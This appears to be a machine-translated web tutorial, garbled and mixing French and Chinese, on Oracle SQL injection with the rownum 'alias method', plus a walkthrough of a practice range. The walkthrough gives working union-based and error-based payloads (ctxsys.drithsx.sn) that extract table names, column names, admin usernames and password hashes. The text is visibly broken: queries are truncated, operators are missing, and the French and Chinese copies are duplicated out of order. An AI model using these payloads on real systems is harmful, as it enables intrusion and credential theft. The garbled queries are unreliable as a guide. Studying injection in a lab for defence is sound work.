Maison > Article > base de données > Exemple détaillé de l'utilisation de la méthode alias dans l'injection de base de données Oracle
Cet article vous apporte des connaissances pertinentes sur Oracle, qui présente principalement l'explication détaillée de l'utilisation de la méthode alias dans l'injection de base de données Oracle, y compris les instructions de base des informations de requête Oracle, les caractéristiques du numéro de ligne, etc., comme suit. Prenons jetez-y un coup d'oeil ensemble, j'espère que cela sera utile à tout le monde.
Tutoriel recommandé : "Tutoriel vidéo Oracle"
Oracle Database, également connu sous le nom d'Oracle RDBMS, ou Oracle en abrégé. Cette base de données est un produit d'Oracle. Elle possède des fonctions puissantes et des opérations complexes. Son utilisation est gratuite mais le service est payant. Actuellement, il est généralement utilisé par les grandes entreprises en Chine, telles que les banques, les institutions financières et les entreprises du pays. industrie du Big Data.
Résumé des fonctionnalités d'Oracle :
1. Oracle doit suivre le nom de la table lors de l'utilisation du langage de requête pour obtenir des informations. Ceci est similaire à Access. S'il n'y a pas de table, vous pouvez utiliser la table double d'Oracle. qui est utilisé pour former la syntaxe des règles de sélection, Oracle garantit qu'il n'y aura toujours qu'un seul enregistrement dans dual. Si vous l'interrogez directement, il n'affichera qu'un Le type de données à la position correspondante est cohérent avec le type de données de. la colonne du tableau. NULL peut également être utilisée pour remplacer certaines positions de types de données qui ne peuvent pas être rapidement devinées. Ceci est similaire à SQL Server. 3. Oracle est différent de MySQL. Il n'y a pas de limite en matière de pagination, mais l'imbrication de requêtes à trois niveaux est utilisée pour implémenter la pagination ; 4. Les symboles de commentaires sur une seule ligne d'Oracle sont des symboles de commentaires sur plusieurs lignes ; Tables, ces tables système stockent les noms de tables et les noms de colonnes de la base de données système, tels que user_tab_columns, all_tab_columns, all_tables, user_tables. La table système stocke toutes les tables et noms de colonnes de l'utilisateur, où table_name représente le nom de la table dans le système. . , column_name est le nom de colonne qui existe dans le système ;
6. Oracle utilise des chaînes d'épissage (représentées par un encodage dans l'URL), et la fonction peut également réaliser l'épissage de deux chaînes ; affaiblis, les utilisateurs ont été renforcés et ils se distinguent principalement par les utilisateurs. La compréhension simple est que le nom d'utilisateur actuel est équivalent au nom de la bibliothèque dans d'autres bases de données.
2. Introduction à l'aliasing
select * from all_tables
Interroger toutes les tables select * from user_tables
Interroger tout tables de l'utilisateur actuelselect * from all_tab_columns
Interrogez tous les champsselect * from user_tab_columns
Interrogez les champs de l'utilisateur actuelselect * from all_tables
查询所有的表select * from user_tables
查询当前用户的所有表select * from all_tab_columns
查询所有字段select * from user_tab_columns
查询当前用户的字段select * from v$version
查当前使用的Oracle版本
由于在Oracle中不存在limit,所以查询特定的数据需要用rownum来进行选择。比如先输入:select * from all_tables
看到页面输出了相当多的数据,但是大部分都不是我们需要的,那么假设我只想要前4条数据,那么修改语句如下:select * from all_tables where rownum<code>select * from v$version Vérifiez la version d'Oracle actuellement utilisée <br><img src="https://img.php.cn/upload/article/000/000/067/a290750748b99d965d0baa9b5c7497da-1.png" alt="Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle"> (2) Caractéristiques du rownum <br><br> Comme il n'y a pas de limite dans Oracle, vous devez utiliser rownum pour sélectionner lors de l'interrogation de données spécifiques. Par exemple, saisissez d'abord :
select * from all_tables
🎜🎜 Nous voyons que la page génère beaucoup de données, mais la plupart ne correspondent pas à ce dont nous avons besoin. Donc, en supposant que je ne veuille que les 4 premiers éléments de données, modifiez l'instruction comme suit. : 🎜select * from all_tableswhere rownum🎜🎜🎜 Donc, en supposant que nous n'avons besoin que de la deuxième donnée, pouvons-nous entrer où rownum=2 ? Ne peut pas. En effet, rownum n'est pas le nom du champ d'une table, mais le numéro de ligne du résultat de la requête. Chaque fois qu'il y a un résultat dans la requête, la première ligne, la deuxième ligne, la troisième ligne, etc. seront par défaut. Ce rownum est le numéro de ligne, n'appartient pas à un certain champ, donc rownum est un pseudo exemple qui commence toujours par 1, rownum>n, lorsque n>1, la condition ne peut pas être établie. Pour cette situation, deux méthodes peuvent être utilisées, à savoir la méthode des inégalités et la méthode des alias. 🎜 Lorsque nous utilisons des instructions de requête, nous demandons souvent de renvoyer les n premiers enregistrements de la table ou les enregistrements du milieu. Par exemple, dans une grande table (en supposant qu'il y ait 1W éléments de données), nous devons interroger les 1000e au 1005e enregistrements. Face à ce genre d’enquête, que faire ? Chaque base de données a sa propre solution. Par exemple, dans MySQL, la commande limit est utilisée pour paginer les résultats, dans MSSQL, TOP est utilisée pour paginer les résultats, et Oracle utilise principalement la commande rownum pour résoudre ce problème. Voyons comment afficher les données spécifiées dans Oracle. 🎜<h2>(3) Méthode différente</h2>
<p>Entrez cette commande dans la plateforme d'exploration Oracle en ligne (ici pour interroger tous les champs de l'utilisateur actuel) : <br><code>select* from user_tab_columns
select* from user_tab_columns
select* from user_tab_columns where table_name='ADMIN'
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
来看一下这个语句:select column_name,rownum n from user_tab_columns
这句话执行查询列名以后,会把查询结果从上到下从1开始按顺序进行编号,但是由于rownum本身不是字段,所以这里起了个别名为n。这样这个查询语句的作用就是:查询列名及每个列名对应的行号,并将行号统一存储在n这个字段里面。
注意这个时候虽然我们新建了一个字段n用来存储行号,但是此时如果马上在后面加上一个条件,比如where n=7是不行的,因为这条语句需要执行完才有n这个字段,所以想要用n这个字段来查询信息的话,就需要把这个语句作为一个整体,放在其他语句的子查询里,这样句子执行完了,有n这个字段了,然后才能被其他句子使用。
现在我们先查询ADMIN表里面有几个字段,这么输入:select column_name,rownum n from user_tab_columns where table_name='ADMIN'
Les résultats montrent toutes les tables actuelles et les noms de champs correspondants, si seulement je souhaitez afficher le contenu de la table ADMIN, je peux saisir : select* from user_tab_columnswhere table_name='ADMIN'
Si je souhaite afficher uniquement la deuxième donnée, comment dois-je la saisir ? Il n'est évidemment pas possible d'ajouter directement la condition rownum=2 Ici, vous pouvez utiliser la méthode d'inégalité pour interroger :
select* from user_tab_columns où table_name='ADMIN' et COLUMN_NAME'UNAME
(4) Méthode d'alias | Regardez cette déclaration : |
---|---|
select column_name,rownum n from user_tab_columns which table_name='ADMIN' |
Les résultats de la requête ici obtiendront deux noms de champs. . Le numéro de ligne est l'alias n que nous avons pris, donc le premier champ est le nom réel du champ et le deuxième champ est l'alias n que nous avons pris. |
nom du champ | |
2 | |
3 |
Ensuite, entrez simplement :
sélectionnez * dans la sous-requête où n=2, et vous pouvez obtenir les données bb De même, pour les données que vous souhaitez, faites simplement en sorte que n soit égal au nombre correspondant.
Par conséquent, tant que cette phrase est écrite comme une sous-requête et que l'instruction de requête externe est utilisée pour interroger les résultats de cette sous-requête, en définissant n=2, le deuxième champ peut être obtenu, alors saisissez : select * from (sélectionnez nom_colonne, numéro de ligne n depuis user_tab_columns où nom_table='ADMIN')où n=2
select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
成功查询到第二个字段。
注意:别名法给rownum取名为n时,标准的写法是用rownum as n ,简洁一点是直接rownum n,中间用空格隔开即可。
查询字段的时候可以用别名法,那么查询表名的时候可以用吗?答案是肯定的。
举例:select table_name,rownum n from user_tables
可见给表起别名和给字段起别名是一样的,用法实际上也差不多,这里不再赘述。
上面讲的只是理论基础,实际操作的时候就没那么容易了,我们找个靶场来实际操作一下看看。
以封神台为例,地址在http://o1.lab.aqlab.cn/?id=1
进入靶场,看到地址栏有GET传参,当然是先试一下是否存在SQL输入了:
在id=1后面输入:
and 1=1 ,页面回显正常
and 1=2 ,页面回显异常
把id=1改成id=2-1,页面回显正常。
说明必然存在SQL注入。
实战中,我们并不知道目标网站是什么数据库,所以何必管那么多,当成MYSQL来搞就好了,所以这里先查询字段数:
输入 order by 1
页面回显正常;
输入 order by 5
页面回显异常;
输入 order by 4
页面回显正常;
输入 order by 5
Le deuxième champ a été interrogé avec succès.
sélectionnez table_name,rownum n from user_tables
On peut voir que l'alias de la table est la même chose que l'alias du champ. L'utilisation est en fait similaire, je n'entrerai donc pas dans les détails ici.
Ce qui précède n'est que la base théorique. Ce n'est pas si simple en fonctionnement réel. Prenez Fengshentai comme exemple, l'adresse est http://o1.lab.aqlab.cn/?id=1
Entrez dans le champ de tir, vous verrez les paramètres GET dans l'adresse barre, bien sûr Essayez d'abord de voir s'il y a une entrée SQL :
et 1=1, l'écho de la page est normal
et 1=2, l'écho de la page est anormal
Cela signifie qu'il doit y avoir une injection SQL.
En combat réel, nous ne savons pas de quelle base de données est le site Web cible, alors pourquoi s'embêter avec tant de choses ? Il suffit de le traiter comme MYSQL, donc ici, nous interrogeons d'abord le nombre de champs :
Entrez order par 1
et la page s'affichera Normal ; Entrez order by 5
et la page reviendra anormalement ;
Entrez order by 4
et la page s'affichera. revenez normalement ;
order by 5
et la page renverra Anormal. (3) Essayez une requête conjointe
Entrez après id=1 :
union all select 1,2,3,4La page résonne anormalement. Il semble que la base de données ne soit définitivement pas MySQL, alors essayez de changer le numéro en null :
union all select null,null,null,null from dualLa page résonne normalement. Il semble que la base de données cible ait des exigences grammaticales très strictes. Déterminons maintenant quels sont les types de données des quatre champs. Entrez :
union all select 111,null,null,null from dual
and 1=2 union all select 111,null,null,null from dualAucun désalignement d'affichage évident n'est observé. Continuez à taper :
and 1=2 union all select 111,111,null,null from dualLa page renvoie une exception, indiquant que le deuxième champ n'est pas de type numérique.
Continuez à taper : and 1=2 union all select 111,'aa',null,null from dual
La page renvoie une exception, indiquant que le deuxième champ n'est pas de type chaîne.
and 1=2 union all select 111,null,null,111111 from dual🎜 et constatez que la page affiche une nouvelle heure. 🎜🎜🎜🎜 Quand on voit une heure comme celle-ci, il faut penser à un horodatage, car les ordinateurs commencent à compter les secondes à partir de 8 heures le 1er janvier 1970. 🎜🎜 (4) Nom de la table de requête 🎜🎜 Utilisez la fonction d'injection d'erreur pour interroger des informations, entrez : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))🎜 Remarque : l'injection d'erreur ne peut renvoyer qu'une chaîne au lieu d'une table, il doit donc y avoir une limite plus tard, c'est-à-dire rownum =1, prend uniquement une ligne de données, et le 1 entre parenthèses de la fonction peut être remplacé par autre chose, soit une valeur numérique, soit une chaîne. 🎜🎜🎜 Obtenez le nom de la table 🎜ADMIN🎜🎜 Continuez à saisir : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))🎜🎜🎜🎜 et obtenez la deuxième table 🎜NEWS🎜. 🎜 Ensuite, lors de l'interrogation d'autres tables, vous ne pouvez plus utiliser la méthode d'inégalité. Utilisez plutôt la méthode d'alias mentionnée ci-dessus pour construire une instruction de base, puis modifiez la valeur de n pour déterminer le nom de la table qui n'a pas encore été créée. interrogé : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))🎜Déterminez enfin le courant. Les tables utilisateur sont : 🎜ADMIN, NEWS, MD5🎜🎜
接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))
得到第一个字段名为:UNAME
把n改为2继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))
得到第二个字段为UPASS
把n改为3,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))
得到第三个字段为MD5
把n改为4,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))
没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5
字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:
and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))
注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))
改变n的值可以得到UPASS字段的三条记录分别为:e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321
把每个md5值都提交到靶场,最终确定flag为:2a61f8bcfe7535eadcfa69eb4406ceb9
渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。
本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。
推荐教程:《Oracle视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!